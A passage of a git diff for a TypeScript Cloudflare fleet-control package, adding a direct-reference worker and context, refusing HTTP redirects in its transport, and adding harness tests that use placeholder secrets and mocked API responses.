+ record.migrationPriorRelease || + record.rollbackRelease || + record.retiringRelease || + record.platformResources || + record.platformTarget + ) + refused(); + const role = (['a', 'b', 'recovery'] as const).find( + (role) => manifest.names.roles[role].tenantTag === record.tenantTag, + ); + if (!role) refused(); + const names = manifest.names.roles[role]; + if ( + record.scriptName !== names.scriptName || + record.databaseName !== names.databaseName || + record.routeHostname !== names.routeHostname + ) + refused(); + return role; + }; + return Object.freeze({ + binding, + control, + journal, + inventoryStore, + transport, + roleFor, + spec(role: DirectFixtureRole, release: DirectFixtureRelease) { + return specs.get(role)?.get(release) ?? refused(); + }, + specFor(record: FleetRecord) { + const role = roleFor(record); + let digest = + record.phase === 'migrating' + ? record.pendingSpecDigest + : record.desiredSpecDigest; + if (record.cleanupIntent && record.decommissionIntent) refused(); + if (record.cleanupIntent?.authority.kind === 'provisioning-rollback') + digest = record.cleanupIntent.authority.requestedSpecDigest; + if (record.decommissionIntent) { + const mode = record.decommissionIntent.identity.mode; + if (mode.kind !== 'normal') refused(); + digest = mode.requestedSpecDigest; + } + return (digest && digests.get(role)?.get(digest)) || refused(); + }, + secrets(role: DirectFixtureRole) { + return Object.hasOwn(secrets, role) ? secrets[role] : refused(); + }, + }); +} diff --git a/packages/fleet-control/scripts/direct-reference-http.ts b/packages/fleet-control/scripts/direct-reference-http.ts index 70e9c202..3cf183fe 100644 --- a/packages/fleet-control/scripts/direct-reference-http.ts +++ b/packages/fleet-control/scripts/direct-reference-http.ts @@ -37,6 +37,7 @@ export interface DirectReferenceHttpOptions { readonly invokeSecret: string | undefined; readonly configSha256: string; readonly invocationTimeoutMs: number; + readonly startedAt?: number; readonly dispatch: ( action: DirectReferenceAction, signal: AbortSignal, @@ -53,6 +54,7 @@ const journalStatus = { 'journal-state': 500, 'run-binding-mismatch': 409, 'operation-mismatch': 409, + 'prerequisite-unavailable': 409, 'missing-start': 409, } satisfies Record; const executionStatus = { @@ -139,9 +141,22 @@ export async function handleDirectReferenceHttpRequest( options.invocationTimeoutMs > 2_147_483_647 ) return failure('operation-refused', 500); - const expiresAt = performance.now() + options.invocationTimeoutMs; + const startedAt = options.startedAt ?? performance.now(); + if ( + !Number.isFinite(startedAt) || + startedAt < 0 || + startedAt > performance.now() + ) + return failure('operation-refused', 500); + const expiresAt = startedAt + options.invocationTimeoutMs; deadlineAt = expiresAt; - timer = setTimeout(() => deadline.abort(), options.invocationTimeoutMs); + timer = setTimeout( + () => deadline.abort(), + Math.min( + options.invocationTimeoutMs, + Math.max(1, Math.ceil(expiresAt - performance.now())), + ), + ); const signal = AbortSignal.any([request.signal, deadline.signal]); const assertActive = () => { if (performance.now() >= expiresAt) deadline.abort(); diff --git a/packages/fleet-control/scripts/direct-reference-journal.ts b/packages/fleet-control/scripts/direct-reference-journal.ts index 77fe8d32..45c034b5 100644 --- a/packages/fleet-control/scripts/direct-reference-journal.ts +++ b/packages/fleet-control/scripts/direct-reference-journal.ts @@ -26,6 +26,7 @@ export type DirectJournalErrorCode = | 'journal-state' | 'run-binding-mismatch' | 'operation-mismatch' + | 'prerequisite-unavailable' | 'missing-start'; export class DirectReferenceJournalError extends Error { @@ -197,6 +198,7 @@ export class DirectReferenceJournal { candidate === 'journal-state' || candidate === 'run-binding-mismatch' || candidate === 'operation-mismatch' || + candidate === 'prerequisite-unavailable' || candidate === 'missing-start' ) code = candidate; diff --git a/packages/fleet-control/scripts/direct-reference-transport.ts b/packages/fleet-control/scripts/direct-reference-transport.ts index 6644a1e4..2552df81 100644 --- a/packages/fleet-control/scripts/direct-reference-transport.ts +++ b/packages/fleet-control/scripts/direct-reference-transport.ts @@ -105,7 +105,11 @@ export class DirectReferenceTransport { init: Parameters[1], ): Promise { this.assertWithinBudget(); - const requestInit = { ...init, duplex: 'half' as const }; + const requestInit = { + ...init, + redirect: 'manual' as const, + duplex: 'half' as const, + }; const request = new Request(input, requestInit); request.signal.throwIfAborted(); if (request.url === 'data:,') return this.#nativeFetch(request); @@ -139,6 +143,14 @@ export class DirectReferenceTransport { signal.throwIfAborted(); if (kind === 'provider') this.#providerAttempts++; else this.#maintenanceAttempts++; - return this.#nativeFetch(request, { signal, redirect: 'error' }); + const response = await this.#nativeFetch(request, { + signal, + redirect: 'manual', + }); + if ([301, 302, 303, 307, 308].includes(response.status)) { + void response.body?.cancel().catch(() => undefined); + throw new DirectReferenceExecutionError(); + } + return response; } } diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts new file mode 100644 index 00000000..454317db --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -0,0 +1,267 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { randomUUID } from 'node:crypto'; +import type { CloudflareFleetInventoryAdvanceAction } from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import { + createDirectReferenceContext, + type DirectReferenceContext, + type DirectReferenceEnvironment, +} from './direct-reference-context.js'; +import type { + DirectInventorySlot, + DirectReferenceAction, +} from './direct-reference-contract.mjs'; +import { + DirectReferenceExecutionError, + handleDirectReferenceHttpRequest, +} from './direct-reference-http.js'; +import { + type DirectOperationSlot, + DirectReferenceJournalError, + type DirectStoredOperation, +} from './direct-reference-journal.js'; +import type { DirectReferenceTransportSnapshot } from './direct-reference-transport.js'; + +const operationSlots: readonly DirectOperationSlot[] = [ + 'inventory-before', + 'inventory-after', + 'audit-before', + 'audit-after', + 'migration-next', + 'cleanup-a', + 'cleanup-b', + 'cleanup-recovery', + 'decommission-a', + 'decommission-b', + 'decommission-recovery', +]; + +function inventoryOptions(manifest: DirectRunManifest) { + const prefix = `${manifest.resourcePrefix}-tenant-`; + return { + databaseNamePrefix: prefix, + scriptNamePrefix: prefix, + includeR2Buckets: true, + }; +} + +function inventoryStart( + manifest: DirectRunManifest, + stored: DirectStoredOperation, +) { + if (stored.kind !== 'inventory' || stored.operationId === null) + throw new DirectReferenceJournalError(); + const action = { + kind: 'start' as const, + operationId: stored.operationId, + options: inventoryOptions(manifest), + }; + if (stored.inputJson !== JSON.stringify(action)) + throw new DirectReferenceJournalError(); + return action; +} + +function continuation( + stored: DirectStoredOperation, + action: DirectReferenceAction, +): unknown { + const token: unknown = Object.hasOwn(action, 'token') + ? Reflect.get(action, 'token') + : stored.tokenJson === null + ? undefined + : JSON.parse(stored.tokenJson); + if (token === undefined) + throw new DirectReferenceExecutionError('missing-continuation'); + if ( + !token || + typeof token !== 'object' || + Array.isArray(token) || + !Object.hasOwn(token, 'operationId') || + (token as { operationId: unknown }).operationId !== stored.operationId + ) + throw new DirectReferenceExecutionError('wrong-operation'); + return token; +} + +function pinOwner( + manifest: DirectRunManifest, + slot: DirectInventorySlot, +): string { + return `direct-reference:${manifest.resourcePrefix}:${slot}`; +} + +async function selectedGeneration( + context: DirectReferenceContext, + manifest: DirectRunManifest, + slot: DirectInventorySlot, +) { + const stored = await context.journal.readOperation(slot); + if (!stored) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const start = inventoryStart(manifest, stored); + const run = await context.inventoryStore.readRunByOperation( + start.operationId, + ); + if (run?.state !== 'finalized') + throw new DirectReferenceJournalError('prerequisite-unavailable'); + if ( + run.operationId !== start.operationId || + run.options.databaseNamePrefix !== start.options.databaseNamePrefix || + run.options.scriptNamePrefix !== start.options.scriptNamePrefix || + run.options.includeR2Buckets !== true || + run.options.includeDispatchNamespace !== false || + run.options.hostRoutingKvId !== undefined + ) + throw new DirectReferenceJournalError(); + return { operationId: run.operationId, generation: run.progress.generation }; +} + +async function dispatch( + context: DirectReferenceContext, + manifest: DirectRunManifest, + action: DirectReferenceAction, + signal: AbortSignal, +): Promise { + if (action.kind === 'control-read') { + const operations = await Promise.all( + operationSlots.map((slot) => context.journal.readOperation(slot)), + ); + const records = await Promise.all( + (['a', 'b', 'recovery'] as const).map(async (role) => { + const record = await context.control.getDeployment( + manifest.names.roles[role].tenantTag, + manifest.environment, + ); + if (!record) return { role, present: false }; + context.roleFor(record); + return { + role, + present: true, + phase: record.phase, + desiredSpecDigest: record.desiredSpecDigest, + pendingSpecDigest: record.pendingSpecDigest, + artifactVersion: record.artifactVersion, + pendingArtifactVersion: record.pendingArtifactVersion, + databaseId: record.databaseId, + }; + }), + ); + return { + binding: context.binding, + operations: operations.filter((value) => value !== undefined), + records, + interruption: await context.journal.readInterruption(), + }; + } + if (action.kind === 'inventory-read') { + const selected = await selectedGeneration(context, manifest, action.slot); + return { + ...selected, + inventory: await context.control.readFleetInventoryGeneration( + selected.generation, + ), + }; + } + if (action.kind !== 'inventory-start' && action.kind !== 'inventory-continue') + throw new DirectReferenceExecutionError(); + let advance: CloudflareFleetInventoryAdvanceAction; + if (action.kind === 'inventory-start') { + const stored = await context.journal.freezeStart(action.slot, async () => { + if (action.slot === 'inventory-after') { + const before = await selectedGeneration( + context, + manifest, + 'inventory-before', + ); + await context.inventoryStore.pinGeneration({ + generation: before.generation, + pinnedBy: pinOwner(manifest, 'inventory-before'), + }); + } + const operationId = randomUUID(); + return { + operationId, + inputJson: JSON.stringify({ + kind: 'start', + operationId, + options: inventoryOptions(manifest), + }), + }; + }); + const start = inventoryStart(manifest, stored); + advance = + stored.tokenJson === null + ? start + : { kind: 'continue', token: continuation(stored, action) }; + } else { + const stored = await context.journal.readOperation(action.slot); + if (!stored) + throw new DirectReferenceExecutionError('missing-continuation'); + inventoryStart(manifest, stored); + advance = { kind: 'continue', token: continuation(stored, action) }; + } + const result = await context.control.advanceFleetInventory({ + action: advance, + maxProviderRequests: manifest.referenceRuntime.maxProviderRequests, + signal, + }); + await context.journal.rememberToken( + action.slot, + JSON.stringify(result.token), + ); + if (result.status === 'complete') { + await context.inventoryStore.pinGeneration({ + generation: result.generation.generation, + pinnedBy: pinOwner(manifest, action.slot), + }); + } + return result; +} + +export function createDirectReferenceWorker( + manifest: DirectRunManifest, + runtime: Readonly<{ fetch?: typeof fetch }> = {}, +) { + return { + async fetch( + request: Request, + environment: DirectReferenceEnvironment, + ): Promise { + const startedAt = performance.now(); + let metrics: DirectReferenceTransportSnapshot | undefined; + const response = await handleDirectReferenceHttpRequest(request, { + invokeSecret: environment.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, + configSha256: manifest.configSha256, + invocationTimeoutMs: manifest.referenceRuntime.invocationTimeoutMs, + startedAt, + dispatch: async (action, signal) => { + const context = await createDirectReferenceContext( + manifest, + environment, + { startedAt, signal, fetch: runtime.fetch }, + ); + let result: unknown; + try { + result = await dispatch(context, manifest, action, signal); + } finally { + metrics = context.transport.snapshot(); + } + context.transport.assertWithinBudget(); + return result; + }, + }); + if (metrics) { + response.headers.set( + 'X-Direct-Provider-Attempts', + String(metrics.providerAttempts), + ); + response.headers.set( + 'X-Direct-Maintenance-Attempts', + String(metrics.maintenanceAttempts), + ); + } + return response; + }, + }; +} diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index 380c0e2a..ba0a637c 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -10,7 +10,9 @@ "direct-credentialed-spec.ts", "direct-reference-journal.ts", "direct-reference-http.ts", - "direct-reference-transport.ts" + "direct-reference-transport.ts", + "direct-reference-context.ts", + "direct-reference-worker.ts" ], "include": [] } diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 6526258b..ffff5906 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -3137,10 +3137,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { fail('export returned a non-HTTPS download URL'); } const download = await this.#request(signedUrl, { - redirect: 'error', + redirect: 'manual', }); httpStatus = download.status; - if (!download.ok) fail(); + if (!download.ok) { + cancelBodyWithoutAwait(download.body, 'D1 export download refused'); + fail(); + } const downloadBody = download.body; if (!downloadBody) fail(); const [storeBody, hashBody] = downloadBody.tee(); diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index dc32f522..0905af12 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -2203,7 +2203,7 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { const fixture = recordingFetch(async ({ url, headers, redirect }) => { if (url.startsWith('https://download.example.test/')) { expect(headers.has('authorization')).toBe(false); - expect(redirect).toBe('error'); + expect(redirect).toBe('manual'); const error = new Error(signedUrl); error.name = signedUrl; throw error; diff --git a/packages/fleet-control/test/direct-reference-http.test.ts b/packages/fleet-control/test/direct-reference-http.test.ts index 3d1b5d3d..0f9ad408 100644 --- a/packages/fleet-control/test/direct-reference-http.test.ts +++ b/packages/fleet-control/test/direct-reference-http.test.ts @@ -47,6 +47,30 @@ function fixture(overrides: Partial = {}) { } describe('direct reference HTTP boundary', () => { + it('uses a trusted shared start time through response serialization', async () => { + const now = vi.spyOn(performance, 'now').mockReturnValue(10); + try { + const { handle, dispatch } = fixture({ + invocationTimeoutMs: 1000, + startedAt: 0, + }); + dispatch.mockResolvedValue({ + toJSON() { + now.mockReturnValue(1001); + return { status: 'complete' }; + }, + }); + const response = await handle(request()); + expect(response.status).toBe(504); + expect(await response.json()).toMatchObject({ + ok: false, + error: { code: 'invocation-timeout' }, + }); + } finally { + now.mockRestore(); + } + }); + it.each([ 'revoked', 'prototype-trap', diff --git a/packages/fleet-control/test/direct-reference-transport.test.ts b/packages/fleet-control/test/direct-reference-transport.test.ts index 140b6b15..09d92ff6 100644 --- a/packages/fleet-control/test/direct-reference-transport.test.ts +++ b/packages/fleet-control/test/direct-reference-transport.test.ts @@ -120,7 +120,7 @@ describe('direct reference transport', () => { expect(normalized.headers.get('authorization')).toBe( 'Bearer fixture-token', ); - expect(normalized.redirect).toBe('error'); + expect(normalized.redirect).toBe('manual'); expect(await normalized.text()).toBe('fixture-body'); return new Response('done'); }); @@ -150,6 +150,33 @@ describe('direct reference transport', () => { } }); + it.each([ + 301, 302, 303, 307, 308, + ])('refuses redirect status %s without another delegation', async (status) => { + const { transport, nativeFetch } = fixture(); + const canceled = vi.fn(() => new Promise(() => {})); + nativeFetch.mockImplementation( + async () => + new Response(new ReadableStream({ cancel: canceled }), { + status, + headers: { location: 'https://unvisited.example.test' }, + }), + ); + await expect( + transport.providerFetch('https://fixture.test'), + ).rejects.toMatchObject({ code: 'operation-refused' }); + expect(nativeFetch).toHaveBeenCalledTimes(1); + expect(canceled).toHaveBeenCalledTimes(1); + }); + + it('preserves a nonredirect 304 response', async () => { + const { transport, nativeFetch } = fixture(); + nativeFetch.mockResolvedValue(new Response(null, { status: 304 })); + expect((await transport.providerFetch('https://fixture.test')).status).toBe( + 304, + ); + }); + it('rechecks time after preparing the native request signal', async () => { const now = vi.spyOn(performance, 'now').mockReturnValue(0); const nativeTimeout = AbortSignal.timeout.bind(AbortSignal); @@ -323,6 +350,8 @@ describe('direct reference transport inside workerd', () => { export default {async fetch(request){ const mode=new URL(request.url).searchParams.get('mode');let calls=0,aborted=false; const transport=new DirectReferenceTransport({runtime:{requestTimeoutMs:25,invocationTimeoutMs:5000,maxProviderRequests:9},startedAt:performance.now(),signal:request.signal,fetch:async(_input,init)=>{ + const normalized=new Request(_input,init); + if(normalized.redirect!=='manual')throw new Error('unexpected redirect mode'); calls++; return mode==='body'?new Response(new ReadableStream({start(c){init.signal.addEventListener('abort',()=>{aborted=true;c.error(new Error('fixture-abort'));},{once:true});}})):new Response('fixture'); }}); diff --git a/packages/fleet-control/test/direct-reference-worker.harness.test.ts b/packages/fleet-control/test/direct-reference-worker.harness.test.ts new file mode 100644 index 00000000..551758fc --- /dev/null +++ b/packages/fleet-control/test/direct-reference-worker.harness.test.ts @@ -0,0 +1,465 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import type { D1Database } from '@cloudflare/workers-types'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; +import { directFixtureManifest } from './fixtures/direct-credentialed-config.js'; + +const manifest = directFixtureManifest(); +const fleetDatabaseId = '00000000-0000-0000-0000-000000000001'; +const quotaDatabaseId = '00000000-0000-0000-0000-000000000002'; +const binding = { + version: 1, + accountId: 'account', + fleetDatabaseId, + quotaDatabaseId, + exportBucketName: manifest.names.exportBucket, + referenceModuleSetSha256: 'b'.repeat(64), + accountWorkersDevSubdomain: 'direct-fixture', +}; +const secrets = Object.fromEntries( + ['a', 'b', 'recovery'].map((role) => [ + role, + { + deploymentIdentity: `identity-${role}`.padEnd(40, 'x'), + maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'y'), + application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'z') }, + }, + ]), +); + +describe.sequential('real direct reference context and inventory', { + timeout: 30_000, +}, () => { + let directory: string; + let server: TestHarness; + let db: D1Database; + let reload: () => Promise; + beforeAll(async () => { + directory = await mkdtemp(join(tmpdir(), 'direct-reference-')); + const main = join(directory, 'worker.ts'); + const source = (path: string) => + JSON.stringify(fileURLToPath(new URL(path, import.meta.url))); + await writeFile( + main, + ` +import {createDirectReferenceWorker} from ${source('../scripts/direct-reference-worker.ts')}; +import {createDirectReferenceContext} from ${source('../scripts/direct-reference-context.ts')}; +import {DirectReferenceTransport} from ${source('../scripts/direct-reference-transport.ts')}; +import {deploymentSpecDigest} from ${source('../src/spec-digest.ts')}; +const manifest=${JSON.stringify(manifest)}; +const binding=${JSON.stringify(binding)}; +const secretMap=${JSON.stringify(secrets)}; +function single(result){return Response.json({success:true,errors:[],messages:[],result});} +function page(result){return single(result);} +let instance; +export default {async fetch(request,env){ + instance??=crypto.randomUUID(); + const mode=new URL(request.url).searchParams.get('mode');const calls=[]; + const provider=async(input,init)=>{ + const req=new Request(input,init),url=new URL(req.url); + if(url.href==='data:,')return new Response(''); + if(req.method!=='GET'||url.origin!=='https://api.cloudflare.com'||!url.pathname.startsWith('/client/v4/'))throw new Error('unexpected fixture dispatch'); + const path=url.pathname.slice('/client/v4'.length); + calls.push({path,page:url.searchParams.get('page'),jurisdiction:req.headers.get('cf-r2-jurisdiction')}); + if(path==='/user/tokens/verify')return single({id:'token-id',status:'active'}); + if(path==='/accounts/account/tokens/token-id')return single({id:'token-id',status:'active',policies:[{id:'zone-authority',effect:'allow',permission_groups:[{id:'zone-read',name:'Zone Read'},{id:'routes-read',name:'Workers Routes Read'},{id:'routes-write',name:'Workers Routes Write'}],resources:{'com.cloudflare.api.account.account':{'com.cloudflare.api.account.zone.*':'*'}}}]}); + if(path==='/zones'){if(url.searchParams.get('account.id')!=='account')throw new Error('wrong zone account');return page([]);} + if(path==='/accounts/account/workers/domains'||path==='/accounts/account/workers/scripts'||path==='/accounts/account/workers/durable_objects/namespaces')return page([]); + if(path==='/accounts/account/d1/database'){ + const ordinal=Number(url.searchParams.get('page')??1); + return page(ordinal===1?[{uuid:'db-a',name:manifest.names.roles.a.databaseName},{uuid:'manager-db',name:manifest.names.fleetDatabase}]:ordinal===2?[{uuid:'db-b',name:manifest.names.roles.b.databaseName}]:[]); + } + if(path==='/accounts/account/r2/buckets')return single({buckets:[]}); + throw new Error('unhandled fixture dispatch'); + }; + let current={...env,CLOUDFLARE_API_TOKEN:'inert-reference-token',FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET:'test-invoke',DIRECT_RUN_BINDING:JSON.stringify(binding),DIRECT_DEPLOYMENT_SECRETS:JSON.stringify(secretMap)}; + if(mode==='bad-json')current.DIRECT_RUN_BINDING='{'; + if(mode==='wrong-account')current.DIRECT_RUN_BINDING=JSON.stringify({...binding,accountId:'other'}); + if(mode==='same-database')current.DIRECT_RUN_BINDING=JSON.stringify({...binding,quotaDatabaseId:binding.fleetDatabaseId}); + if(mode==='wrong-secrets')current.DIRECT_DEPLOYMENT_SECRETS=JSON.stringify({...secretMap,a:{...secretMap.a,maintenanceAdmin:'different-maintenance'.padEnd(40,'x')}}); + if(mode==='bad-secrets')current.DIRECT_DEPLOYMENT_SECRETS=JSON.stringify({...secretMap,a:{application:{APP_PROBE_TOKEN:'invalid'}}}); + if(mode==='auth-probe')current=new Proxy(current,{get(target,key){if(key==='FLEET_DB'||key==='QUOTA_DB'||key==='EXPORTS')throw new Error('binding touched before authentication');return Reflect.get(target,key);}}); + if(mode==='deadline'){ + let count=0,ended=false,observedFailure=null;const oldNow=performance.now,oldSnapshot=DirectReferenceTransport.prototype.snapshot; + Object.defineProperty(performance,'now',{configurable:true,value:()=>ended?1001:(count++===0?0:10)}); + DirectReferenceTransport.prototype.snapshot=function(){ended=true;const value=oldSnapshot.call(this);observedFailure=value.failure;return value;}; + try{const worker=createDirectReferenceWorker({...manifest,referenceRuntime:{...manifest.referenceRuntime,invocationTimeoutMs:1000}},{fetch:provider});const response=await worker.fetch(request,current);return Response.json({status:response.status,observedFailure,body:await response.json(),providerCalls:calls.length});} + finally{Object.defineProperty(performance,'now',{configurable:true,value:oldNow});DirectReferenceTransport.prototype.snapshot=oldSnapshot;} + } + if(mode==='recipes'||mode==='release-pin'||mode==='prune'){ + const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider}); + if(mode==='recipes'){ + const initial=context.spec('a','initial'),next=context.spec('a','next'); + const record={tenantTag:initial.tenantTag,environment:initial.environment,backend:'plain-worker',scriptName:initial.scriptName,databaseId:'db-a',databaseName:initial.databaseName,schemaVersion:1,artifactVersion:'version-1',desiredSpecDigest:deploymentSpecDigest(initial),durableObjectBindings:[],routeHostname:initial.routeHostname,phase:'ready',updatedAt:new Date().toISOString()}; + return Response.json({initial:deploymentSpecDigest(initial),next:deploymentSpecDigest(next),selectedInitial:deploymentSpecDigest(context.specFor(record)),selectedNext:deploymentSpecDigest(context.specFor({...record,phase:'migrating',pendingSpecDigest:deploymentSpecDigest(next)})),providerCalls:calls.length}); + } + if(mode==='release-pin'){ + const slot=await context.journal.readOperation('inventory-before');const run=await context.inventoryStore.readRunByOperation(slot.operationId); + await context.inventoryStore.releasePin({generation:run.progress.generation,pinnedBy:'direct-reference:'+manifest.resourcePrefix+':inventory-before'}); + }else return Response.json({ok:true,result:await context.control.pruneInventoryGenerations({limit:10})}); + return Response.json({ok:true}); + } + const worker=createDirectReferenceWorker(manifest,{fetch:provider}); + const response=await worker.fetch(request,current); + response.headers.set('X-Fixture-Calls',JSON.stringify(calls));response.headers.set('X-Fixture-Instance',instance);return response; +}};`, + ); + const options = { + root: directory, + workers: [ + { + config: { + name: 'direct-reference-harness', + main, + compatibility_date: '2026-08-06', + compatibility_flags: ['nodejs_compat'], + d1_databases: [ + { + binding: 'FLEET_DB', + database_name: 'reference-fleet', + database_id: fleetDatabaseId, + }, + { + binding: 'QUOTA_DB', + database_name: 'reference-quota', + database_id: quotaDatabaseId, + }, + ], + r2_buckets: [ + { binding: 'EXPORTS', bucket_name: manifest.names.exportBucket }, + ], + }, + }, + ], + }; + server = createTestHarness(options); + reload = () => + server.update({ + ...options, + workers: options.workers.map((worker) => ({ + ...worker, + config: { ...worker.config, vars: { TEST_RELOAD: 'reloaded' } }, + })), + }); + await server.listen(); + db = (await server.getWorker<{ FLEET_DB: D1Database }>().getEnv()).FLEET_DB; + const response = await call({ kind: 'control-read' }); + expect(response.status).toBe(200); + }, 30_000); + afterAll(async () => { + try { + await server?.close(); + } finally { + if (directory) await rm(directory, { recursive: true, force: true }); + } + }, 30_000); + + function call( + action: unknown, + mode = '', + authorization = 'Bearer test-invoke', + ) { + return server + .getWorker() + .fetch(`https://reference.test${DIRECT_REFERENCE_PATH}?mode=${mode}`, { + method: 'POST', + headers: { authorization }, + body: JSON.stringify({ + contractVersion: 1, + configSha256: manifest.configSha256, + action, + }), + }); + } + + it('authenticates before binding access', async () => { + const response = await call( + { kind: 'control-read' }, + 'auth-probe', + 'Bearer wrong', + ); + expect(response.status).toBe(401); + expect(response.headers.get('X-Fixture-Calls')).toBe('[]'); + }); + + it('refuses success after the final metrics observe deadline expiry', async () => { + const response = await call({ kind: 'control-read' }, 'deadline'); + expect(await response.json()).toMatchObject({ + status: 504, + observedFailure: 'deadline', + providerCalls: 0, + body: { ok: false, error: { code: 'invocation-timeout' } }, + }); + }); + + it('reports a missing or unfinished inventory prerequisite without creating the after slot', async () => { + for (const pending of [false, true]) { + if (pending) { + const before = await call({ + kind: 'inventory-start', + slot: 'inventory-before', + }); + expect((await before.json()) as unknown).toMatchObject({ + ok: true, + result: { status: 'pending' }, + }); + } + const response = await call({ + kind: 'inventory-start', + slot: 'inventory-after', + }); + expect(response.status).toBe(409); + expect(await response.json()).toMatchObject({ + ok: false, + error: { code: 'prerequisite-unavailable' }, + }); + expect(response.headers.get('X-Fixture-Calls')).toBe('[]'); + const control = await call({ kind: 'control-read' }); + const value = (await control.json()) as { + result: { operations: { slot: string }[] }; + }; + expect( + value.result.operations.some( + (operation) => operation.slot === 'inventory-after', + ), + ).toBe(false); + } + }); + + it.each([ + ['bad-json', 'operation-refused'], + ['same-database', 'operation-refused'], + ['bad-secrets', 'operation-refused'], + ['wrong-account', 'run-binding-mismatch'], + ['wrong-secrets', 'run-binding-mismatch'], + ])('refuses %s without provider work', async (mode, code) => { + const response = await call({ kind: 'control-read' }, mode); + expect(response.status).toBe(409); + expect(await response.json()).toMatchObject({ ok: false, error: { code } }); + expect(response.headers.get('X-Fixture-Calls')).toBe('[]'); + }); + + it('retains a secret fingerprint rather than plaintext in native D1', async () => { + const row = await db + .prepare('SELECT binding_json FROM direct_reference_run WHERE run_key=?') + .bind(manifest.resourcePrefix) + .first('binding_json'); + expect(row).toBeTruthy(); + expect(row).toContain('tenantSecretsSha256'); + for (const role of Object.values(secrets)) { + for (const value of [ + role.deploymentIdentity, + role.maintenanceAdmin, + ...Object.values(role.application), + ]) + expect(row).not.toContain(value); + } + expect(row).not.toContain('inert-reference-token'); + }); + + it('selects retained initial and pending-target recipes without provider work', async () => { + const response = await call({ kind: 'control-read' }, 'recipes'); + const value = (await response.json()) as { + initial: string; + next: string; + selectedInitial: string; + selectedNext: string; + providerCalls: number; + }; + expect(value.initial).not.toBe(value.next); + expect(value.selectedInitial).toBe(value.initial); + expect(value.selectedNext).toBe(value.next); + expect(value.providerCalls).toBe(0); + }); + + it('refuses missing selected generations instead of substituting latest', async () => { + const response = await call({ + kind: 'inventory-read', + slot: 'inventory-before', + }); + expect(response.status).toBe(409); + expect(response.headers.get('X-Fixture-Calls')).toBe('[]'); + }); + + it('runs real multi-request inventories and retains the selected before generation', async () => { + const observations: { + path: string; + page: string | null; + jurisdiction: string | null; + }[] = []; + async function drain(slot: 'inventory-before' | 'inventory-after') { + let response = await call({ kind: 'inventory-start', slot }); + let value = (await response.json()) as { + ok: boolean; + result: { + status: string; + token: { version: number; operationId: string; revision: number }; + generation?: { generation: number }; + }; + }; + expect( + value.ok, + JSON.stringify({ + value, + calls: response.headers.get('X-Fixture-Calls'), + }), + ).toBe(true); + let calls = 1; + while (value.result.status === 'pending' && calls < 40) { + const old = value.result.token; + response = await call({ kind: 'inventory-continue', slot }); + observations.push( + ...JSON.parse(response.headers.get('X-Fixture-Calls') ?? '[]'), + ); + value = (await response.json()) as typeof value; + expect( + value.ok, + JSON.stringify({ + value, + calls: response.headers.get('X-Fixture-Calls'), + }), + ).toBe(true); + calls++; + if (calls === 2) { + const replay = await call({ + kind: 'inventory-continue', + slot, + token: old, + }); + expect(replay.status).toBe(200); + expect(replay.headers.get('X-Fixture-Calls')).toBe('[]'); + expect(((await replay.json()) as typeof value).result.token).toEqual( + value.result.token, + ); + for (const token of [ + null, + { ...old, operationId: 'foreign' }, + { + ...value.result.token, + revision: value.result.token.revision + 100, + }, + ]) { + const refused = await call({ + kind: 'inventory-continue', + slot, + token, + }); + expect(refused.status).toBeGreaterThanOrEqual(400); + expect(refused.headers.get('X-Fixture-Calls')).toBe('[]'); + } + } + } + expect(calls).toBeGreaterThan(2); + expect(value.result.status).toBe('complete'); + return value.result.generation?.generation; + } + const before = await drain('inventory-before'); + const beforeRead = await call({ + kind: 'inventory-read', + slot: 'inventory-before', + }); + expect(await beforeRead.json()).toMatchObject({ + ok: true, + result: { + generation: before, + inventory: { databaseIds: ['db-a', 'db-b'] }, + }, + }); + const priorInstance = beforeRead.headers.get('X-Fixture-Instance'); + expect(priorInstance).toBeTruthy(); + await reload(); + const reloaded = await call({ + kind: 'inventory-read', + slot: 'inventory-before', + }); + expect(reloaded.headers.get('X-Fixture-Instance')).not.toBe(priorInstance); + expect(await reloaded.json()).toMatchObject({ + ok: true, + result: { + generation: before, + inventory: { databaseIds: ['db-a', 'db-b'] }, + }, + }); + const after = await drain('inventory-after'); + expect(after).toBeGreaterThan(before ?? 0); + const pruning = await call({ kind: 'control-read' }, 'prune'); + expect(pruning.status).toBe(200); + expect(await pruning.json()).toMatchObject({ + ok: true, + result: { deleted: 0 }, + }); + const retained = await call({ + kind: 'inventory-read', + slot: 'inventory-before', + }); + expect(await retained.json()).toMatchObject({ + ok: true, + result: { generation: before }, + }); + const latest = await call({ + kind: 'inventory-read', + slot: 'inventory-after', + }); + expect(await latest.json()).toMatchObject({ + ok: true, + result: { generation: after }, + }); + expect( + observations + .filter((x) => x.path.endsWith('/d1/database')) + .map((x) => x.page ?? '1'), + ).toEqual(['1', 